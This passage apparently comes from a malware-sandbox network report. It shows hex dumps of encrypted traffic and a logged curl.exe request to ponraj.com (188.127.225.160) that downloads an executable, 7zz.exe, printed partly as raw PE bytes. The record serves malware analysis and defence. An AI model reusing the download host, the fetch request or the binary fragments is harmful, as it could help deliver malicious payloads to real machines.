a8 2d 05 1a a4 b8 67 fd 8e da ac 33 8a 4a f8 62 3f 05 3f 04 a3 98 83 e4 2d c8 99 f8 06 d0 8a a9 46 77 da 6c b5 73 17 66 98 d8 8b 80 a6 93 f0 7b 65 Data Ascii: ?epN=;{mk0\|-`up@zg8y#y2Eo#XH]$*u>rOTF}q)T$m`>svLBXiX"[gVk.bC`;_?%S,Zji79C!zZ/:~H$2;E(Dr\3H-g3Jb??-Fwlsf{e
2023-07-18 15:27:10 UTC	2304	IN	Data Raw: f2 05 6a f3 04 b8 17 b1 2b f4 41 e9 5a 10 ec 37 74 df 08 5c 98 a2 a5 0c 9b f1 9a 4f a0 1b a2 d9 21 a9 9e 70 7d 3e 88 08 09 90 90 15 f0 8d 67 d8 c8 37 97 53 79 2d 4e 20 25 37 8b 51 25 66 77 a6 ae 40 fb 8f 74 1e fe 08 8a 39 eb 3b 61 e7 57 27 00 05 20 be 8c eb 70 ef 07 1d ec 66 b4 3a 22 d5 6b 6f 8d 51 2f 9c dd 5e d0 ba 20 1d 8e aa 06 07 43 26 5f 3f 48 25 51 8d 35 f1 e4 f9 a1 0e 11 99 f0 2f 35 01 07 17 4b a6 4a 75 09 04 bb 4c 86 19 ef 1d a6 ef 57 65 55 e2 61 98 fd 85 d3 6d ae 7b 73 32 4b bd ca 4b df 66 da 58 42 7b 12 ba 2d 4e 40 2f ad 6f 07 15 55 0a 30 03 c6 0a ca a9 d0 0d c3 b5 cc 87 ec d1 17 50 80 98 b7 5e 4b d3 fb fc 0b b5 30 52 fb aa 3f d9 3f b7 23 e8 83 a2 b2 39 ac 94 08 97 bb cc 41 51 d7 6f a1 a7 58 70 d4 34 3f e4 2b ed 92 83 4a f9 e2 5d 9d f5 bd b7 e0 Data Ascii: j+AZ7t\O!p}>g7Sy-N %7Q%fw@t9;aW' pf:"koQ/^ C&_?H%Q5/5KJuLWeUam{s2KKfXB{-N@/oU0P^K0R??#9AQoXp4?+J]
2023-07-18 15:27:10 UTC	2320	IN	Data Raw: 15 b8 08 a5 c5 c3 03 6c c6 c6 60 3c d8 6a 16 92 11 e3 59 1e 57 8c ed 10 7c 8b ac c3 c5 d0 27 51 38 7f 88 55 c2 a7 22 aa 21 a5 84 5b 35 da 82 c0 5e 45 b3 1e 19 d1 eb e5 57 dd 4e 83 f9 d8 04 12 cb 2e 99 31 70 05 19 7e 58 64 f3 fe 72 0b f3 34 4d d8 6d 47 77 dd 43 a7 ee 3e 14 77 da c5 de 09 dc 6b 14 e4 64 ee a1 cc 4c f8 0d ff 1b 33 99 d1 ea 58 68 5e d8 c1 a3 eb 79 f1 8e a7 96 2c 1f 6c 2c 2a 02 29 e5 43 d9 46 70 54 9c bb 6b 68 5f e1 ba 04 2a 6a ae d9 0b ce 00 81 eb ec 48 8b 77 20 d1 e5 8a 23 3a 03 72 58 d9 03 5d b4 15 8e b9 93 8d e0 04 21 14 a9 8e b7 9c 5e 11 a7 a9 bd d4 e5 6c 59 23 0f f7 67 d8 ab d3 7c 5d ba 84 1d 7e 62 1f cc 94 d5 dd b5 24 b5 33 99 90 c7 a2 32 7d 54 bc 5c 5b fd 1c 14 5a ad 4b 1a d8 02 02 51 b9 b7 98 2c 69 6a 58 01 77 bb 89 57 f7 10 20 3f 8c Data Ascii: l`<jYW\|'Q8U"![5^EWN.1p~Xdr4MmGwC>wkdL3Xh^y,l,)CFpTkh_jHw #:rX]!^lY#g\|]~b$32}T\[ZKQ,ijXwW ?
2023-07-18 15:27:10 UTC	2336	IN	Data Raw: 51 91 28 bb 95 d7 15 49 2f aa d9 58 53 9b f3 e1 f9 24 ce 7c fe ad 1f d9 64 e2 c4 98 95 f5 0d 03 88 02 cc d9 b4 4d a1 22 47 46 cc 29 61 fc 92 48 07 a8 25 20 56 45 d2 21 d7 3d d4 75 c4 1c c1 06 83 24 b5 b6 b2 77 f3 6a 4a 8a 4b 9b cc e8 41 2f d5 8d be 67 36 e2 27 66 1d 6b b0 cb 87 5a 62 66 c2 17 17 a4 b4 5e a6 e4 b3 ac 6e c2 6b f9 c6 83 49 56 ec b1 47 0c b8 b1 8d 64 dd b0 30 26 03 1f 3f 1e 89 67 e0 9d ff e1 e1 3f cc f7 f0 bb ec c4 73 26 9b f3 6b 98 62 d2 ff bb ae ab d4 43 3c 39 ed 91 3b 26 13 b4 43 cb 21 f0 57 33 55 b4 b2 3f 5c 32 91 71 51 bb 55 d0 7f d7 38 85 d2 fc d1 02 48 d1 3c 55 7e 54 e3 85 04 e4 d9 4c 41 87 0f 46 a1 c3 a3 cd dc f8 29 c2 f2 ec bd 31 c3 87 9f a6 fa 01 19 d8 78 a7 68 84 5c 4a 97 e8 97 57 ab ff b9 c0 8c 49 72 54 db 95 3b 2c db e2 c7 a8 73 Data Ascii: Q(I/XS$\|dM"GF)aH% VE!=u$wjJKA/g6'fkZbf^nkIVGd0&?g?s&kbC<9;&C!W3U?\2qQU8H<U~TLAF)1xh\JWIrT;,s
2023-07-18 15:27:10 UTC	2352	IN	Data Raw: 37 8a 89 e5 54 ed 8a 4c 5d 59 36 4a 5f 41 91 34 8f c5 ad 2d f1 7e bc 33 3e 87 ff d6 96 72 70 ff 82 5c f9 73 d6 5d c9 24 24 59 99 13 f5 61 ca 27 d0 50 6d 18 20 d2 0c 40 b4 ac d9 06 63 ee 9f b2 b7 68 6e e9 b0 56 86 a6 d5 a8 4e f0 e9 dd e9 9b e6 79 e3 9b ad 34 90 bc 33 7c c9 17 74 a6 fa 36 5c cc 07 ce 1b 6a 06 d3 1d f8 09 fe 8a cb 51 9d 64 93 49 c4 be 26 e2 8f 1d f7 a5 6f fd 43 a7 0c 1d 57 9a b2 ce b8 47 58 29 5f 10 ff 98 7f 51 8d 62 e4 74 e7 7d 6b 96 b5 f8 77 24 c0 e8 72 e6 68 4c 0b 57 57 d2 37 d1 45 27 1a de 15 66 f1 51 8d 68 a7 33 c4 85 ad 37 f5 c0 7c a4 c2 a2 0c 45 3c 07 39 28 27 26 d9 3b f2 a5 0a d2 61 d0 2a c5 c1 3d 38 9d a8 2e 7c 05 4d 03 40 9e 8f 36 73 ee e3 ef 6b e5 42 81 0e 2c 25 1b fb a1 f4 15 d3 fd e2 9c 15 66 10 1b 4f 8d 00 9a 42 b6 cd 2d 93 11 Data Ascii: 7TL]Y6J_A4-~3>rp\s]$$Ya'Pm @chnVNy43\|t6\jQdI&oCWGX)_Qbt}kw$rhLWW7E'fQh37\|E<9('&;a*=8.\|M@6skB,%fOB-
2023-07-18 15:27:10 UTC	2368	IN	Data Raw: d9 52 9b 37 e5 93 f6 43 a3 56 2b e5 eb 9d 79 17 35 8c 06 dc 76 80 81 cb 3a 8a a8 c1 62 58 85 70 cc c8 6a 93 37 d0 d8 2a 3a d1 9f 58 dd 45 da 14 7b 6f 13 83 3b 6a f9 49 14 bc 30 28 90 8b 1e d5 9c 05 e7 83 1b b3 a4 4a 1c d3 b7 cb 3c 83 e8 39 19 66 61 8d ed f6 fd 15 64 90 40 21 0c fa 5f 85 f3 ee d4 0f 86 9e 07 74 6b f1 49 14 12 9f 9b 39 a1 3e 6d 15 87 f7 c9 ed d1 22 7a f0 88 ca 42 c7 23 c0 2b 67 7d 10 1c 70 be cc a1 e9 04 a9 75 83 06 6e c4 f7 2c 15 aa 2a 21 b1 3c ba f0 62 ee f8 0f 91 c1 e8 7d e1 e0 59 0a 97 d1 7f 89 f5 97 02 58 1b 18 aa 5e 27 40 e9 ce af b8 0f 7a 1a af 1b 29 32 1a b9 54 82 bc 28 23 e5 49 12 fa d4 c0 16 20 cd 9f 5f 06 6e 24 88 44 94 2d 77 b0 f0 38 c9 e5 65 95 2a df fd 8b 95 4e ff 8c 09 05 a7 6e d3 7c 48 be f8 2f 10 de 49 8a de 35 9d 43 ce 59 Data Ascii: R7CV+y5v:bXpj7:XE{o;jI0(J<9fad@!_tkI9>m"zB#+g}pun,!<b}YX^'@z)2T(#I _n$D-w8e*Nn\|H/I5CY
2023-07-18 15:27:10 UTC	2384	IN	Data Raw: b0 bf 37 5f 4f ab 0a c8 95 af c7 60 f0 b1 c3 99 d5 c8 a2 17 db a4 7f 42 26 c2 72 ca 80 47 0f 1c 4d 4b 16 c2 0c 87 9f ec 9e 53 b1 04 90 11 08 25 8f 2a 63 ac 92 26 5b 4c e9 0a fc f2 21 54 37 61 5d 22 78 b3 9f e8 5d cc 0a 2b 7e e5 d4 bc 8d 41 ae b7 9b 44 82 ee 28 27 2a 31 a7 a3 a7 57 f7 54 b7 9b 35 dc 66 30 3a 12 5e 1a e8 36 48 55 a5 80 b2 52 25 5a 5d 53 06 cb 9c 4e 39 f4 31 e4 81 6f df 41 2a 22 15 92 42 93 8b 5a 63 59 33 36 9c 24 25 49 1e 1b 14 1a 98 d2 3a 6c 5d 11 67 b4 ab 18 cd 2b 69 67 13 8d 76 02 54 29 50 49 15 c3 8f bc ea 53 f3 3f 0a 4f e1 8a 74 d4 17 11 bf 61 ad 1c 62 3d 6c 99 47 af d8 8e 4d 93 3e c6 3c c8 09 7a f9 de 8a 58 12 5c b6 03 0a 0a 05 0e 71 06 35 18 36 88 50 1c d7 66 5b 4d 38 90 8b be b2 e4 d1 49 90 1a 2b a1 b8 74 56 4c b9 da 5f fd 64 ab 80 Data Ascii: 7_O`B&rGMKS%c&[L!T7a]"x]+~AD('1WT5f0:^6HUR%Z]SN91oA*"BZcY36$%I:l]g+igvT)PIS?Otab=lGM><zX\q56Pf[M8I+tVL_d
2023-07-18 15:27:10 UTC	2400	IN	Data Raw: 39 2c 2e 8a f0 d0 57 ee 62 75 d5 7a 34 73 fe 37 db d6 96 35 b7 cc d7 f6 3c 05 c1 81 da 56 2a e4 62 6f 27 b5 80 f4 d2 6a f1 00 b7 fd 88 2c 26 b8 19 4e a2 1f 25 97 af 9a 7a 03 ab ee 69 8f 9a 27 17 40 b2 d2 89 dd 7c 71 21 4a da 67 d7 d4 2f e6 08 30 e7 b0 09 d7 5a f0 8f 3a 28 81 87 44 c8 6b a5 3a e7 3d ee ce 47 a6 b3 27 84 be 08 f0 ab b3 d7 84 ff 15 fb af cb 19 41 2a 01 e7 3c 8d 1d e5 1e e2 a7 2c 0f 65 71 2f 0e 09 b7 2e 15 48 72 28 46 15 ba f0 e9 5b 92 80 20 34 db f2 b9 e2 03 0f 95 b2 b9 bf 74 4e 6a ea 19 32 0a ba d2 99 23 05 f2 96 3d 47 86 2f 97 2c e2 39 2f 7b 63 af 17 4d ab 6f 9b 05 9e cd 51 ab 2a 1c 7c 24 6e f1 67 2c a0 ed 5a a4 44 62 14 83 ce b6 71 69 b2 0c 4e ca 04 51 01 28 c9 25 16 57 98 66 fd 84 13 25 b9 8e e2 bb 65 6c 89 b9 2c ee 73 95 c4 e8 8a b5 f5 Data Ascii: 9,.Wbuz4s75<Vbo'j,&N%zi'@\|q!Jg/0Z:(Dk:=G'A<,eq/.Hr(F[ 4tNj2#=G/,9/{cMoQ*\|$ng,ZDbqiNQ(%Wf%el,s
2023-07-18 15:27:10 UTC	2416	IN	Data Raw: 32 cc fc 92 a7 c2 7d 7e 15 54 29 6e 77 33 e3 e2 dd 4e 07 7a 36 9a 32 a9 4c 2b 44 14 04 1f ad 6f d9 8c 9c c7 2f a7 5f ef 85 e0 9e 33 77 4d ee d8 73 1d 89 66 0c d7 e0 d6 59 2b 19 9b 8a f4 78 1d 41 f5 ac 81 6f c8 4b 5c 44 ef d9 a3 4d 0b c0 87 3f e5 ea 3d e9 70 62 9f 33 81 3f 19 1f fb 54 fc b4 cd a3 e7 1f 5e 65 11 93 34 d8 21 e0 3a 67 ef fd d0 7b 9e fe d7 02 22 7d 4c 65 ad 35 65 8d cd e2 a0 e8 65 05 7f 41 65 9e ef 10 a6 c0 ce 7c 04 64 72 ce 77 f0 d8 0e d9 97 c5 59 2d 45 65 5c 08 4c f8 ae ad fa 67 67 2c fc 14 07 8a d2 94 a0 30 b1 e9 51 7a ef 58 f6 27 44 3c 48 36 f9 60 6d c6 74 ee c8 46 9d ab f5 37 ea b5 85 a9 18 61 cb 70 a3 fd 8b c9 82 a6 98 98 f5 a5 2f 54 5c d4 d2 b2 f7 45 fb 5a 17 db a8 52 04 a3 21 0d 2f b1 21 4c 1b ad a2 d1 01 b6 dc eb 33 d7 d2 9f dc 3b 22 Data Ascii: 2}~T)nw3Nz62L+Do/_3wMsfY+xAoK\DM?=pb3?T^e4!:g{"}Le5eeAe\|drwY-Ee\Lgg,0QzX'D<H6`mtF7ap/T\EZR!/!L3;"
2023-07-18 15:27:10 UTC	2432	IN	Data Raw: be d9 e1 6c 45 8b ac c1 1b 79 d1 c0 92 5d 90 06 58 c9 0a b1 6b 36 dc bc 3d 43 98 50 9c 92 4d 33 13 5b 08 70 2e ff 60 e7 ff c8 34 cb ed 40 3f 63 8b 0a a2 61 b9 13 5f 12 0c 93 93 a5 43 ec f7 b4 31 a3 c3 cd 05 8e f2 49 5a a5 38 54 5d eb a4 72 c5 7c 76 38 be 95 a2 7d fb 94 17 8b 50 51 88 18 04 f6 b9 95 1c 8c a7 49 fe 87 0b 70 7d c3 98 b2 06 a6 20 52 cd 6c ca 96 6f a0 50 e7 5c 58 bb 9a 36 90 67 51 29 e0 4e da fa 18 3f b0 99 62 23 9b cb 49 7e b6 9b 8f c4 c9 42 d0 ac bb 0d 16 4b f0 76 c9 75 8b 25 39 a7 f4 a7 60 b6 93 2f d3 98 dd 5f b1 4a b6 bd f8 d4 e0 0b e0 a5 d7 a3 f8 09 82 11 b2 a0 4a 69 d3 f8 87 d4 2e 44 b3 fb b8 e3 8c b4 71 ca bd 3a 06 22 26 c5 dc 06 6f d4 4e be 9d 82 9a 48 14 31 c6 b3 5d 57 8f 0e 8b 71 1b 2b dd cb ef 99 99 ee 96 66 4d cf 90 ed ea ec 28 53 Data Ascii: lEy]Xk6=CPM3[p.`4@?ca_C1IZ8T]r\|v8}PQIp} RloP\X6gQ)N?b#I~BKvu%9`/_JJi.Dq:"&oNH1]Wq+fM(S
2023-07-18 15:27:10 UTC	2448	IN	Data Raw: fc 2d 28 f5 48 92 c4 e5 d0 16 01 f1 36 9e aa 64 1e 75 5b f2 ce 1e db 32 ec 56 ab 51 56 5e 73 32 06 99 8c 29 b1 42 43 c5 45 bd d6 f1 d6 94 05 7f 07 39 ab 47 ce 52 f8 a4 aa c7 f0 e7 6b 39 d1 8c 61 94 a4 4c bf c5 65 f0 2a 9f 76 ee 38 ef d0 98 65 b4 ee 5b 07 cc 8b 47 d8 ae 78 c0 fd dd 67 c6 99 b0 81 31 cf 7d 45 72 cf 7d b4 8a 7d 37 fd 43 8e f9 25 45 26 75 dc 7d cd d4 df ba 00 1d ce 7b 23 40 93 2e 58 11 43 6b 72 9a a3 a7 d7 2c b3 74 3a 81 c6 9f 98 ef 6f c3 da 09 0b 08 d4 f3 11 d7 6d 8c 42 49 9b 01 25 ea 33 b5 7d 62 fc a5 c9 38 0d 5f f4 83 e8 6c d7 f4 b3 41 7f 4b 46 2f dc 2a cd 5f 72 83 fe 6a 95 d3 10 e4 19 1d 2d 06 de 7f 03 42 bd 12 9c eb 7a 0d cc e0 14 38 27 b7 54 16 fe d3 ea 49 27 d7 50 95 9f 88 bf e4 75 95 ee 79 8e 14 64 0f b7 4b 4e b7 f2 83 1d 23 f3 ca 0a Data Ascii: -(H6du[2VQV^s2)BCE9GRk9aLev8e[Gxg1}Er}}7C%E&u}{#@.XCkr,t:omBI%3}b8_lAKF/_rj-Bz8'TI'PuydKN#
2023-07-18 15:27:10 UTC	2464	IN	Data Raw: b5 00 60 4a 36 f4 0e 61 b7 15 b1 16 99 50 c0 64 e9 dc 93 b9 25 c8 89 3f 56 57 c4 dd 76 4b ac 01 a9 4d d6 02 32 c4 a9 6a 77 13 32 83 ad 19 5e 97 9a ea e5 83 a1 52 3a c8 53 23 4c 3b 15 13 7d b8 56 a7 73 1c 7a 9f 5e ce be f9 70 eb 27 3b 2b e1 92 8f c5 56 51 a6 34 02 42 49 4f ea 65 aa 58 45 72 78 7c 94 69 06 bb 39 44 f5 5c e8 fe 10 72 ea c0 06 be 43 0e 24 5f b1 79 08 39 dd 8f 8e 0d d8 97 20 c2 14 00 49 27 3e 85 66 b7 35 3d b2 f6 de 8c 40 ef d9 57 0a 94 c8 cd 40 79 23 e8 84 68 f1 68 3c 73 2b 40 70 9a d6 25 df d3 db 04 4b de ec 4f 0c 72 ec 2a c0 72 ce ea 0a 1b f4 2a 07 88 e1 a4 db 40 90 27 f9 da 2c d0 cf 07 29 22 ca 86 ef 92 b1 6b 49 03 a2 8c 7c 14 e8 39 71 9d a1 3e 37 2d 07 ed c3 65 6e 7f ed 77 7a 75 83 90 f2 51 1f c0 1a fc 72 c5 25 f6 fe 1f 03 21 b6 62 16 27 Data Ascii: `J6aPd%?VWvKM2jw2^R:S#L;}Vsz^p';+VQ4BIOeXErx\|i9D\rC$_y9 I'>f5=@W@y#hh<s+@p%KOrr@',)"kI\|9q>7-enwzuQr%!b'

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.7	49701	188.127.225.160	443	C:\Windows\System32\curl.exe

Timestamp	kBytes transferred	Direction	Data
2023-07-18 15:27:11 UTC	2477	OUT	GET /05e2f56dd5d8c33a6c402a19629be61c__9336ebf25087d91c818ee6e9ec29f8c1/7zz.exe HTTP/1.1 Host: ponraj.com User-Agent: curl/7.55.1 Accept: /
2023-07-18 15:27:11 UTC	2477	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 18 Jul 2023 15:27:11 GMT Content-Type: application/x-msdos-program Content-Length: 587776 Connection: close Last-Modified: Mon, 10 Jul 2023 18:02:03 GMT ETag: "8f800-60025c7a4b2d6" Accept-Ranges: bytes
2023-07-18 15:27:11 UTC	2478	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 7d 11 72 52 39 70 1c 01 39 70 1c 01 39 70 1c 01 42 6c 10 01 3b 70 1c 01 ba 6c 12 01 20 70 1c 01 0f 56 16 01 5b 70 1c 01 b7 78 43 01 38 70 1c 01 39 70 1d 01 96 70 1c 01 ba 78 41 01 3e 70 1c 01 0f 56 17 01 84 70 1c 01 56 06 b6 01 19 70 1c 01 56 06 82 01 3b 70 1c 01 fe 76 1a 01 38 70 1c 01 52 69 63 68 39 70 1c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$}rR9p9p9pBl;pl pV[pxC8p9ppxA>pVpVpV;pv8pRich9pPEL
2023-07-18 15:27:11 UTC	2493	IN	Data Raw: 3b 00 00 f6 44 24 08 01 74 07 56 e8 16 2f 00 00 59 8b c6 5e c2 04 00 b8 9c 30 47 00 e8 7d 6d 06 00 83 ec 10 53 56 57 8b f9 33 f6 8b da 6a 03 8d 4d e4 89 75 f0 89 75 e4 89 75 e8 89 75 ec e8 65 d3 ff ff 8d 55 e4 8b cb 89 75 fc e8 a5 4b 00 00 8d 45 e4 8b cf 50 e8 73 ee ff ff ff 75 e4 e8 c3 2e 00 00 59 8b c7 8b 4d f4 5f 5e 5b 64 89 0d 00 00 00 00 c9 c3 53 56 8b f1 33 db 6a 03 8d 4e 10 88 1e 88 5e 01 88 5e 02 88 5e 03 88 5e 04 89 5e 08 89 5e 0c 89 19 89 59 04 89 59 08 e8 07 d3 ff ff 89 5e 20 89 5e 24 89 5e 28 c7 46 2c 04 00 00 00 c7 46 1c 78 a6 47 00 8b c6 5e 5b c3 b8 be 30 47 00 e8 d7 6c 06 00 51 56 8b f1 57 33 ff 8d 4e 04 89 3e 6a 03 89 75 f0 89 39 89 79 04 89 79 08 e8 c3 d2 ff ff 8d 4e 10 6a 03 89 7d fc 89 39 89 79 04 89 79 08 e8 ae d2 ff ff 8d 4e 1c 6a 03 Data Ascii: ;D$tV/Y^0G}mSVW3jMuuuueUuKEPsu.YM_^[dSV3jN^^^^^^YY^ ^$^(F,FxG^[0GlQVW3N>ju9yyNj}9yyNj
2023-07-18 15:27:11 UTC	2509	IN	Data Raw: d8 c1 e3 02 8b 45 08 8b 40 0c 8b 14 18 8b 46 0c 8b 0c b8 e8 94 fe ff ff 84 c0 74 09 47 83 c3 04 3b 7e 08 7c df 8b 56 08 3b fa 74 15 8b 45 0c 40 3b 45 fc 89 45 0c 7e c1 32 c0 5f 5e 5b c9 c2 08 00 b0 01 eb f5 56 57 8b f1 33 ff 39 7e 18 7e 1c 8b 46 1c 8b 54 24 0c 8b 04 b8 8d 48 04 e8 c8 fc ff ff 85 c0 74 0e 47 3b 7e 18 7c e4 83 c8 ff 5f 5e c2 04 00 8b c7 eb f7 80 7c 24 04 00 ff 74 24 08 74 05 83 c1 24 eb 03 83 c1 38 e8 48 08 00 00 c2 08 00 b8 5c 38 47 00 e8 01 2d 06 00 83 ec 4c 53 56 57 8b 7d 0c 8b f1 8b 47 08 83 f8 01 7e 5f 8b 47 0c 8b 18 8b cb 89 5d 0c e8 8a fe ff ff 84 c0 75 4c 53 8b ce e8 7a ff ff ff 8b d8 85 db 7d 27 56 8d 4d a8 ff 75 0c e8 4e 00 00 00 83 65 fc 00 50 8d 4e 10 e8 6e 07 00 00 83 4d fc ff 8d 4d a8 8b d8 e8 90 cc ff ff 8b 07 6a 01 6a 00 8b Data Ascii: E@FtG;~\|V;tE@;EE~2_^[VW39~~FT$HtG;~\|_^\|$t$t$8H\8G-LSVW}G~_G]uLSz}'VMuNePNnMMjj
2023-07-18 15:27:11 UTC	2525	IN	Data Raw: 57 e8 14 30 00 00 85 c0 89 46 08 74 08 33 c0 eb 0d 83 66 08 00 01 7e 10 8b c7 83 56 14 00 5f 5e c2 04 00 83 e9 00 74 2c 49 74 25 49 74 1c 83 e9 03 74 11 83 e9 05 74 06 b8 05 40 00 80 c3 b8 04 40 00 80 c3 b8 57 00 07 80 c3 b8 0e 00 07 80 c3 6a 01 58 c3 33 c0 c3 8b c1 8b 4c 24 04 83 60 0c 00 89 48 08 c7 00 66 cb 40 00 c7 40 04 ac cb 40 00 c2 04 00 55 8b ec 53 56 57 8b 7d 08 8b f1 b8 00 00 00 80 8b 0f 3b c8 89 4d 08 72 03 89 45 08 8b 46 08 8d 5d 08 53 ff 75 08 8b 08 52 50 ff 51 0c 89 46 0c 8b 45 08 89 07 8b 46 0c f7 d8 1b c0 5f 5e 83 e0 08 5b 5d c2 04 00 55 8b ec 51 51 8b 45 08 56 57 8b f9 33 c9 8b f2 2b c1 74 12 48 74 0c 48 74 05 6a 05 58 eb 34 6a 02 eb 02 6a 01 59 53 8b 47 08 8d 5d f8 8b 10 53 51 ff 76 04 ff 36 50 ff 52 10 89 47 0c 8b 45 f8 89 06 8b 45 fc Data Ascii: W0Ft3f~V_^t,It%Ittt@@WjX3L$`Hf@@@USVW};MrEF]SuRPQFEF_^[]UQQEVW3+tHtHtjX4jjYSG]SQv6PRGEE
2023-07-18 15:27:11 UTC	2541	IN	Data Raw: ff 75 fc 8b cf 56 ff 75 08 e8 8d 84 ff ff 5f 5e c9 c2 08 00 b8 ac 41 47 00 e8 80 ad 05 00 83 ec 1c 53 56 57 8b 7d 08 8b d9 6a 01 8b 47 08 89 55 f0 3b c3 5e 75 34 80 7d 10 00 75 2e ff 35 18 ba 48 00 8d 4d e4 e8 f6 29 ff ff ff 75 0c 8b 4d f0 83 65 fc 00 8d 55 e4 56 e8 7a ff ff ff 83 4d fc ff ff 75 e4 e8 bd 6e ff ff 59 3b 5f 08 7d 6a 8b 47 0c 8b 0c 98 83 79 04 00 74 48 8b 01 66 83 38 40 75 2f 8d 45 d8 56 50 e8 4a 67 ff ff ff 75 14 8b 00 8b 4d f0 8b d0 ff 75 0c 89 75 fc 56 e8 47 00 00 00 83 4d fc ff ff 75 d8 e8 77 6e ff ff 59 eb 0e ff 75 0c 8b d1 8b 4d f0 56 e8 17 ff ff ff 43 eb a7 a1 38 ba 48 00 68 58 d3 47 00 89 45 10 8d 45 10 50 e8 29 ad 05 00 8b 4d f4 5f 5e 5b 64 89 0d 00 00 00 00 c9 c2 10 00 b8 c8 41 47 00 e8 aa ac 05 00 83 ec 18 53 56 57 33 f6 bf 20 a4 Data Ascii: uVu_^AGSVW}jGU;^u4}u.5HM)uMeUVzMunY;_}jGytHf8@u/EVPJguMuuVGMuwnYuMVC8HhXGEEP)M_^[dAGSVW3
2023-07-18 15:27:11 UTC	2557	IN	Data Raw: 00 60 00 8b c3 8b de 8b f2 55 99 6a 03 03 d8 55 57 13 f2 e8 66 68 05 00 6a 01 59 e8 ce 67 05 00 03 d8 13 f2 5f 8b d6 5e 8b c3 5d 5b 59 c3 53 8a 5c 24 08 56 8b f1 f6 c3 02 74 24 57 8d 7e fc 68 b4 29 44 00 ff 37 6a 18 56 e8 27 73 05 00 f6 c3 01 74 07 57 e8 cd 2e ff ff 59 8b c7 5f eb 15 8b ce e8 5c de 02 00 f6 c3 01 74 07 56 e8 b5 2e ff ff 59 8b c6 5e 5b c2 04 00 b8 80 47 47 00 e8 1b 6d 05 00 83 ec 1c 53 33 db 56 57 89 5d e0 c7 45 d8 cc aa 47 00 68 00 05 00 00 8d 4d d8 89 5d fc e8 88 f0 ff ff 84 c0 0f 84 80 00 00 00 8b 75 e0 33 c0 ba 00 01 00 00 88 04 30 40 3b c2 72 f8 8b ce e8 8b 00 00 00 3d 73 8c 05 29 75 60 8d 45 e4 ba 00 04 00 00 50 8d 8e 00 01 00 00 c7 45 e4 e5 55 9a 15 c7 45 e8 b5 3b 12 1f e8 93 00 00 00 89 5d ec 8b 45 ec 83 65 f0 00 8d 3c 30 8b 55 f0 Data Ascii: `UjUWfhjYg_^][YS\$Vt$W~h)D7jV'stW.Y_\tV.Y^[GGmS3VW]EGhM]u30@;r=s)u`EPEUE;]Ee<0U
2023-07-18 15:27:11 UTC	2573	IN	Data Raw: ff 75 d0 8b f0 e8 1c ef fe ff ff 75 dc e8 14 ef fe ff ff 75 c4 e8 0c ef fe ff 8b 45 f0 83 4d fc ff 83 c4 0c 3b c3 74 06 8b 08 50 ff 51 08 8b c6 e9 65 01 00 00 ff 75 1c 8d 45 b8 8d 4d c4 50 e8 63 e8 fe ff 50 8d 4d dc c6 45 fc 05 e8 e3 92 fe ff ff 75 b8 c6 45 fc 04 e8 c9 ee fe ff 59 8d 45 b8 ff 75 1c 8d 4d c4 50 e8 6a e7 fe ff 50 8d 4d d0 c6 45 fc 06 e8 ba 92 fe ff ff 75 b8 c6 45 fc 04 e8 a0 ee fe ff 59 8d 45 d0 50 8d 45 dc 50 8b ce e8 a5 02 00 00 eb 10 8b 45 18 8b 56 08 8b 08 8d 46 08 51 50 ff 52 0c ff 75 f0 8b cf ff 75 18 ff 75 14 ff 75 10 ff 75 0c ff 75 08 e8 a1 f9 ff ff 3b c3 89 45 18 74 34 ff 75 d0 e8 56 ee fe ff ff 75 dc e8 4e ee fe ff ff 75 c4 e8 46 ee fe ff 8b 45 f0 83 4d fc ff 83 c4 0c 3b c3 74 06 8b 08 50 ff 51 08 8b 45 18 e9 9e 00 00 00 8d 45 d0 Data Ascii: uuuEM;tPQeuEMPcPMEuEYEuMPjPMEuEYEPEPEVFQPRuuuuuu;Et4uVuNuFEM;tPQEE
2023-07-18 15:27:11 UTC	2589	IN	Data Raw: 74 07 8b 10 51 8b c8 ff 12 ff 45 f8 83 45 fc 0c 8b 45 f8 3b 43 08 0f 8c 77 ff ff ff 8b 4d 08 e8 1a bc fe ff 5f 5e 5b c9 c2 08 00 a1 e8 c3 48 00 68 58 d3 47 00 89 45 f0 8d 45 f0 50 e8 c1 ed 04 00 a1 e8 c3 48 00 68 58 d3 47 00 89 45 ec 8d 45 ec 50 e8 ab ed 04 00 8b 44 24 08 83 f8 01 72 07 b8 57 00 07 80 eb 2b 8b 54 24 10 8d 04 40 8b 0c 85 1c c4 48 00 8d 04 85 18 c4 48 00 89 0a 8b 4c 24 14 66 8b 40 08 66 89 01 8b 44 24 0c 83 20 00 33 c0 c2 14 00 b8 28 56 47 00 e8 ff ec 04 00 83 ec 10 33 c9 66 89 4d e4 66 89 4d e6 83 7d 0c 2c 89 4d fc 75 16 8b 45 08 38 48 30 74 0e ff 70 24 8d 4d e4 ff 70 20 e8 03 f6 fe ff ff 75 10 8d 4d e4 e8 ea f6 fe ff 83 4d fc ff 8d 4d e4 e8 3b f6 fe ff 8b 4d f4 33 c0 64 89 0d 00 00 00 00 c9 c2 0c 00 b8 3c 56 47 00 e8 a2 ec 04 00 83 ec 10 Data Ascii: tQEEE;CwM_^[HhXGEEPHhXGEEPD$rW+T$@HHL$f@fD$ 3(VG3fMfM},MuE8H0tp$Mp uMMM;M3d<VG
